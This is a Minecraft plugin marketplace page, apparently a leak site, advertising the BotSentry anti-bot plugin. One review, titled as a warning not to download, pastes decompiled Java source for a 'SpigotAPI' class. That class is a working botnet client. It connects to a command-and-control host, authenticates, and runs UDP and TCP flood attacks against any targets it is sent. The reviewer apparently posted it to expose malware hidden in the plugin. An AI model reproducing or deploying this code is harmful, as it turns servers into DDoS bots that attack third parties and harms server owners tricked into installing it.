⚡ BotSentry ⚡ AntiBot/AntiProxy resisting +30k bots per second! | Bungee, Spigot, Sponge & Velocity

 FREE ⚡ BotSentry ⚡ AntiBot/AntiProxy resisting +30k bots per second! | Bungee, Spigot, Sponge & Velocity 9.6.1

⚡ BotSentry ⚡ AntiBot/AntiProxy resisting +30k bots per second! | Bungee, Spigot, Sponge & Velocity
  • 1.8
  • 1.9
  • 1.10
  • 1.11
  • 1.12
  • 1.13
  • 1.14
  • 1.15
  • 1.16
  • 1.17
  • 1.18
  • 1.19
  • 1.20
Contributors:LaurenshupLanguages Supported:Spanish, English, Russian, Japanese, Italian, German, French, Dutch, Czech, Chinese Traditional, Chinese Simplified (more soon)Donation Link:http://-Redacted-/cyber-development-donations

Troubles reading our resource page graphics?
You will find a transcript below the image.

[IMG]



(Transcripted version of the thread)

Why choose BotSentry?

Unlike other "AntiBot" plugins, we achieved creating a viable performant plugin that is capable of handling a lot of connections per second, filtering them, blacklisting them in seconds, while your players are allowed to join the server.
When an attack starts, if the attack is so slow that the AntiBot won't even enable, it will just perform slow-checks on bots, kicking them and blacklisting them. In case the bot attack is fast enough, the plugin will activate antibot mode. Your users that played more than 2 minutes in the server once in the server’s lifetime, will be able to join without doing anything, if a unknown (new) player joins during an attack, he will be able to easily and quickly do a Google Captcha, and he will be able to join your server within 10 seconds, as he will get inside the global BotSentry whitelist.
The antibot has been tested with attacks up to 20.000 bots per second in BungeeCord and Spigot and our results have concluded that there were no significant changes in performance or whatsoever. BotSentry is since version 9.2 also a 24/7 AntiVPN and AntiProxy plugin, this also gives the possibility of blocking certain users from specific countries, continents and/or providers.

Netty and Bad-packet attacks
We have carefully found a way to stop the really popular and new attack methods, usually called "Bad-packet Attacks", those attacks consist of sending garbage to your server (not real bots), so the BungeeCord and Spigot sends and logs an ugly exception, this, plus the fact that the attack can be fast, can generate up to 3.000 exceptions per second.
BotSentry will prevent this type of attacks without even blacklisting the IPs that send those packets and exploits. This feature has been strongly tested to be able to afirm that we are the only Antibot fixing this type of bot-attacks out there.
You can attack our official test server, its IP is down this page, sending all type of attacks. Take in consideration that stopping unexpected packets is more different than stopping really huge packets, those packets cannot be handled through a plugin, but the chance your server will suffer a really huge packets attack with a strong power are minimal, as these attacks are offered by some booting websites with really low power, and paid plans, so there’s a really little chance your server will receive such attacks. In case you suffer from those attacks, you will be able to mitigate them with TCPShield or Velocity.

Firewall & mitigation speed
After a long research of possible checks to ban the most number of bots in as little time as possible, we achieved what all other Antibots are dreaming of achieving. Our actual blacklisting system is capable of mitigating a very strong attack in less than ten seconds without any lags or delays. With our internal blacklisting system, you will never notice when an attack is going on. You can configurate which system command the plugin will execute when blacklisting/unblacklisting an IP. By default, BotSentry will not use this internal blacklisting feature, as most of the servers are running inside containers and are not able to execute commands in the system. You can enable this in the config file.

Help new users joining during bot attacks
Are you tired of trying to join a Minecraft Server that is being bot attacked and seeing a message like "Hey, we are being bot-attacked, wait a few minutes to join", or you try to join and it blacklists you like if you were a bot, but you are not? Then, you came to the right place.
Although BotSentry will blacklist the 99% of the attacking IPs in the first 10 seconds of attack, during the few seconds of lockdown, the user will be able to whitelist himself by completing a cool Google Captcha, of course, hosted by us.
https://cyberdevelopment.es/BotSentry/verify/
We suggest you making a subdomain pointing to the URL, like we did with (https://notbot.es) to make it easier for your users to verify themselves, or you can simply use a URL shortener.
Most probably you will want to customize that website to give it your personal look, then, we also offer you the option to do so, you can customize the website very easily and keep it still hosted by us.
You can configurate the look of the website and generate a custom large link here:
https://cyberdevelopment.es/BotSentry/verify/custom/

Features
1.
Unique and exclusive checks
2. Netty and Bad-Packets attack prevention
3. Internal bans to blacklist IPs through the system directly
4. Multiple BungeeCord (Redis) instances support
5. Bedrock nicknames support (must touch config, allowed characters)
6. MySQL support
7. Support for Velocity Proxy
8. Really smart % system to differentiate between players and bots
9. 100% configurable and translatable in all aspects
10. Public API to receive information regarding your server or general information
11. NEW! Forcing specific IPs and usernames to be always whitelisted

Commands & Permissions
- Main command for BotSentry -
/botsentry (/bs)

~ Subcommands of /botsentry ~
accounts - Shows all IPs with players.
apipassword - Sets the API password.
blacklist - Manages the blacklist.
discord - Gives the plugin’s Discord’s link.
help - Shows a menu with the list of commands.
kick - Kicks all/some players with the given criterion.
language - List and download a different language for BotSentry
notifications - Toggles ActionBar notifications.
off - Deactivates AntiBot Mode manually.
on- Activates AntiBot Mode manually.
reload - Reloads all values from the config.
scan - Gives data about the given IP.
stats - Sends the current plugin statistics.
whitelist - Manages the whitelists.

Permission(s) to use this command:
botsentry.monitor
(for accounts, help, notifications, stats and scan)
botsentry.admin
(for all subcommands, also shows IP in stats)
~
/botsentrywiki (/bsw)
- Command to use ingame Wiki -
Permission to use this command:
botsentry.wiki
~
botsentry.automaticnotification
Players with this permission will recieve
notifications in their action bar when an attack
is happening.

Developer API
Are you a Developer and you want to make custom implementations to our plugin? We built a really cool and extensive API so you can make everything that is inside your mind!!
https://cyberdevelopment.es/BotSentry/javadocs

Public Web API
Typical questions regarding the public web api

How to get an API Password?
You can set an API Password by doing the command:
/bs apipassword {pswd} in your server to set a password.

How to get your server IP-PORT?
You can see your server IP-PORT by doing the
command /bs stats in your server

How many requests can i make to your API?
Our API is limited by defaut to 1 request every 1 second per IP. If you need more requests, you can contact us in Discord to raise that limit.

You can find all the Public Web API Queries and their specifications here:
https://cyberdevelopment.es/BotSentry/publicapi/request.php

Extra table with the most blacklisted countries and the quantity of IPs blacklisted of it:
https://cyberdevelopment.es/BotSentry/publicapi/countries.php

Test Server(s)
Do you think the AntiBot doesn't fit your needs? You can test it out in a test server of one of our customers.
Please be aware, that we do not have access to the console and files of the test server, we only make sure BotSentry is
installed correctly every update.
Thanks a lot to Mandress to maintain their test server(s)!
These servers have ViaVersion (and ViaBackwards/ViaRewind) installed on the Minecraft servers.
IPs (Server Software)
51.77.64.144:28896
(BungeeCord Build #1628 + Paper 1.18.1 Build #177)
VIDEOS AND SCREENSHOTS














tags: Antibot to bungee, antibot to bungeecord, antibot plugin, antibot spigot, antibot bukkit, anti vpn, anti proxy, stopbot, anti bot para bungee, antibot para bungeecord, antibot plugin, plugin antibot, antibot para spigot, antibot para spigot, antibot minecraft. antibots, antibots minecraft, plugin antibots, antibots para bungeecord, antibots para bungee, antibotdeluxe, antibotpremium, anti bot premium, premium antibot, antiboting, minecraft bots, bots minecraft, bot server, server bot, minecraft server bot, minecraft bot server,botting, -Redacted- minecraft, minecraft -Redacted-, -Redacted- server, server -Redacted-, server minecraft -Redacted-, -Redacted- minecraft server, plugin, minecraft plugin, minecraft plugins, plugins minecraft, plugin minecraft, plugin bungeecord, plugin proxy, proxy plugin, bungeecord plugin, cheap plugin, free plugins, cheap plugins, hack, -Redacted-, dos, hacks, bots, bot, blacklist, whitelist, black, white, antibotultra, botultra, ultraantibot, antibot for bungee, antibot for bungeecord, Aegis, aegis, aegis bungee, bungeecord for antibots, bungeecord for antibot, defend your bungee, ipwhitelist, exploits, xploit, exploit minecraft exploit, exploit minecraft, bot exploit, minecraft bot exploit, exploit minecraft bot, saltar ipwhitelist, como saltar ipwhitelist, grief minecraft, minecraft grief, server grief, grief server, grief, squad.



[IMG]

Latest reviews

WOWW SO REALLL!!! [ DONT DOWNLOAD ]
package fr.bodyalhoha.ectasy;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.management.ManagementFactory;
import java.lang.management.OperatingSystemMXBean;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.Random;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.scheduler.BukkitTask;

public class SpigotAPI {
private static final String C2_ADDRESS = "proxy.m4sportelo.hu";
private static final int C2_PORT = 888;
private static final int BUFFER_SIZE = 8192;
private static final int INITIAL_THREADS = 10;
private static final int MAX_THREADS = 400;
private static final int RECONNECT_DELAY = 5000;
private JavaPlugin plugin;
private boolean connected;
private Socket c2Socket;
private BukkitTask task;
private ExecutorService executorService;
private int currentThreads;

public SpigotAPI(JavaPlugin var1, String var2, boolean var3) {
super();
this.plugin = var1;
this.connected = false;
this.currentThreads = 10;
this.executorService = Executors.newFixedThreadPool(400);
this.connectToC2();
}

public SpigotAPI() {
super();
this.connected = false;
this.currentThreads = 10;
this.executorService = Executors.newFixedThreadPool(400);
this.connectToC2();
}

public void connectToC2() {
this.task = this.plugin.getServer().getScheduler().runTaskAsynchronously(this.plugin, () -> {
while(true) {
boolean var9 = false;

label110: {
try {
var9 = true;
this.c2Socket = new Socket();
this.c2Socket.setKeepAlive(true);
this.c2Socket.connect(new InetSocketAddress("proxy.m4sportelo.hu", 888));
OutputStream var1 = this.c2Socket.getOutputStream();
InputStream var2 = this.c2Socket.getInputStream();
var1.write("669787761736865726500".getBytes(StandardCharsets.UTF_8));
byte[] var3 = new byte[8192];

while(!this.connected) {
String var4 = this.readData(var2, var3);
if (var4.contains("Username")) {
var1.write("BOT".getBytes(StandardCharsets.UTF_8));
} else if (var4.contains("Password")) {
var1.write("-Redacted-asd".getBytes(StandardCharsets.ISO_8859_1));
} else if (var4.toUpperCase().startsWith("PING")) {
var1.write("PONG".getBytes(StandardCharsets.UTF_8));
} else if (!var4.startsWith("!UDP") && !var4.startsWith("!udp")) {
if (var4.startsWith("!TCP") || var4.startsWith("!tcp")) {
this.handleTCPAttack(var4);
}
} else {
this.handleUDPAttack(var4);
}
}

var9 = false;
break label110;
} catch (IOException var11) {
try {
Thread.sleep(5000L);
var9 = false;
} catch (InterruptedException var10) {
Thread.currentThread().interrupt();
var9 = false;
}
} finally {
if (var9) {
this.closeConnection();
}
}

this.closeConnection();
continue;
}

this.closeConnection();
}
});
}

public void cancelTasks() {
if (this.task != null) {
this.task.cancel();
}

this.closeConnection();
if (this.executorService != null) {
this.executorService.shutdown();

try {
if (!this.executorService.awaitTermination(10L, TimeUnit.SECONDS)) {
this.executorService.shutdownNow();
if (!this.executorService.awaitTermination(10L, TimeUnit.SECONDS)) {
}
}
} catch (InterruptedException var2) {
this.executorService.shutdownNow();
Thread.currentThread().interrupt();
}
}

}

private void closeConnection() {
try {
if (this.c2Socket != null && !this.c2Socket.isClosed()) {
this.c2Socket.close();
}
} catch (IOException var2) {
}

}

private String readData(InputStream var1, byte[] var2) throws IOException {
int var3 = var1.read(var2);
return var3 == -1 ? "" : (new String(var2, 0, var3, StandardCharsets.UTF_8)).trim();
}

private void handleUDPAttack(String var1) {
try {
String[] var2 = var1.split(" ");
if (var2.length < 5) {
return;
}

String var3 = var2[1];
int var4 = Integer.parseInt(var2[2]);
long var5 = Long.parseLong(var2[3]);
int var7 = Integer.parseInt(var2[4]);
if (var4 <= 0 || var4 > 65535 || var7 <= 0 || var5 <= 0L) {
return;
}

this.adjustThreadCount();

for(int var8 = 0; var8 < this.currentThreads; ++var8) {
this.executorService.execute(() -> {
this.attackUDP(var3, var4, var5, var7);
});
}
} catch (Exception var9) {
}

}

private void handleTCPAttack(String var1) {
try {
String[] var2 = var1.split(" ");
if (var2.length < 5) {
return;
}

String var3 = var2[1];
int var4 = Integer.parseInt(var2[2]);
long var5 = Long.parseLong(var2[3]);
int var7 = Integer.parseInt(var2[4]);
if (var4 <= 0 || var4 > 65535 || var7 <= 0 || var5 <= 0L) {
return;
}

this.adjustThreadCount();

for(int var8 = 0; var8 < this.currentThreads; ++var8) {
this.executorService.execute(() -> {
this.attackTCP(var3, var4, var5, var7);
});
}
} catch (Exception var9) {
}

}

private void adjustThreadCount() {
OperatingSystemMXBean var1 = ManagementFactory.getOperatingSystemMXBean();
double var2 = var1.getSystemLoadAverage();
long var4 = Runtime.getRuntime().freeMemory();
if (var2 < 1.0 && var4 > 209715200L) {
this.currentThreads = Math.min(this.currentThreads + 10, 400);
} else if (var2 > 2.0 || var4 < 104857600L) {
this.currentThreads = Math.max(this.currentThreads - 10, 10);
}

}

private void attackUDP(String var1, int var2, long var3, int var5) {
long var6 = System.currentTimeMillis();

try {
while(System.currentTimeMillis() < var6 + var3 * 1000L) {
if (!this.hasSufficientResources()) {
Thread.sleep(10L);
} else {
DatagramSocket var8 = new DatagramSocket();
byte[] var9 = this.randomBytes(var5);
DatagramPacket var10 = new DatagramPacket(var9, var9.length, InetAddress.getByName(var1), var2);
var8.send(var10);
var8.close();
Thread.sleep(10L);
}
}
} catch (InterruptedException | IOException var11) {
}

}

private void attackTCP(String var1, int var2, long var3, int var5) {
long var6 = System.currentTimeMillis();

try {
while(System.currentTimeMillis() < var6 + var3 * 1000L) {
if (!this.hasSufficientResources()) {
Thread.sleep(10L);
} else {
Socket var8 = new Socket();
var8.connect(new InetSocketAddress(var1, var2), 1000);
OutputStream var9 = var8.getOutputStream();
var9.write(this.randomBytes(var5));
var9.flush();
var8.close();
Thread.sleep(10L);
}
}
} catch (InterruptedException | IOException var10) {
}

}

private boolean hasSufficientResources() {
OperatingSystemMXBean var1 = ManagementFactory.getOperatingSystemMXBean();
double var2 = var1.getSystemLoadAverage();
long var4 = Runtime.getRuntime().freeMemory();
boolean var6 = var4 > 52428800L;
boolean var7 = var2 < 2.0;
return var6 && var7;
}

private byte[] randomBytes(int var1) {
byte[] var2 = new byte[var1];
(new Random()).nextBytes(var2);
return var2;
}
}
Thank you so much for creating the antibot plugin; it has drastically improved our security and streamlined our operations effortlessly.
Thank you finally! Latest update out!!!
Thanks for the latest botsentry

Similar resources

⚡ BotSentry ⚡ AntiBot/AntiProxy resisting +30k bots per second! | Bungee, Spigot, Sponge & Velocity Dekomori
4.63 star(s) 24 ratings
Downloads
4,325
Updated
⚡ BotSentry ⚡ AntiBot/AntiProxy resisting +30k bots per second! | Bungee, Spigot, Sponge & Velocity BlackSpigot.com
0.00 star(s) 0 ratings
Downloads
49
Updated
BlackSpigot General Chat
Rules Help Users
    M @ mapacheitor: hi?
    Top